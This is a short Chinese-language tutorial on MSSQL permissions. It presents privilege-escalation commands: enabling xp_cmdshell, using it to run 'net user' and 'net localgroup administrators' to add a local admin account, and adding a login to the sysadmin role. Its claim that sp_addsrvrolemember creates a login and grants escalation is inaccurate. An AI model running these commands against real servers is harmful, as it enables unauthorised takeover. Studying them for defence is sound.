1. MSSQL系统权限介绍
Microsoft SQL Server（简称MSSQL）是微软公司推出的关系型数据库管理系统，可用于管理和处理大量数据，通常用于企业级应用程序。MSSQL中的权限控制非常重要，它决定了用户或者角色在数据库中所能进行的操作和访问的数据，也会影响数据的完整性和安全性。
在MSSQL中，权限可以分为两大类：系统权限和对象权限。系统权限是为一个特定的服务器和数据库而授权的访问权限，可以用来管理服务器和数据库对象及数据操作，其中有许多权限是授予数据库管理员等高级用户才拥有的。而对象权限是为特定数据库对象授予的访问权限。包括SELECT、INSERT、UPDATE、DELETE和REFERENCES等操作，可以授予给一个特定数据表的用户或者角色。
2. 获取系统管理员权限的方法
获取MSSQL数据库的系统管理员权限通常包括以下两种方式：
2.1 利用xp_cmdshell
在MSSQL中，xp_cmdshell是一个系统存储过程，它允许用户执行命令shell。因此，如果我们能成功执行命令shell，就可以获取系统管理员权限。
首先，需要确认服务器的属性中开启了xp_cmdshell选项：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
接下来，我们可以通过执行net命令进行攻击，net命令是一个Windows系统的命令，可以用来修改密码、添加用户等等一些列的操作，只要我们有系统管理员权限就可以执行这些命令。
EXEC master..xp_cmdshell 'net user username password /add';
EXEC master..xp_cmdshell 'net localgroup administrators username /add';
上述代码将尝试创建一个名为“username”的新用户，密码为“password”，并将此用户添加到管理员组。
2.2 利用 sp_addsrvrolemember
另一种获得系统管理员权限的方法是利用MSSQL存储过程sp_addsrvrolemember。
从MSSQL 2005发布开始，该程序用于向固定的服务器角色添加成员，在将该角色的成员添加到服务器上时，可以将数据库引擎登录添加到sysadmin角色中，从而获得系统管理员权限。
EXEC master.dbo.sp_addsrvrolemember @loginame = N'username', @rolename = N'sysadmin'
上述代码将添加一个名为“username”的数据库引擎登录，并将此用户添加到sysadmin服务器角色中。
3. 总结
获取MSSQL系统管理员权限需要掌握一定的技术和知识，需要通过一些具体的方法和手段来实现。在进行相关操作时，一定要注意安全性，避免对系统造成损害。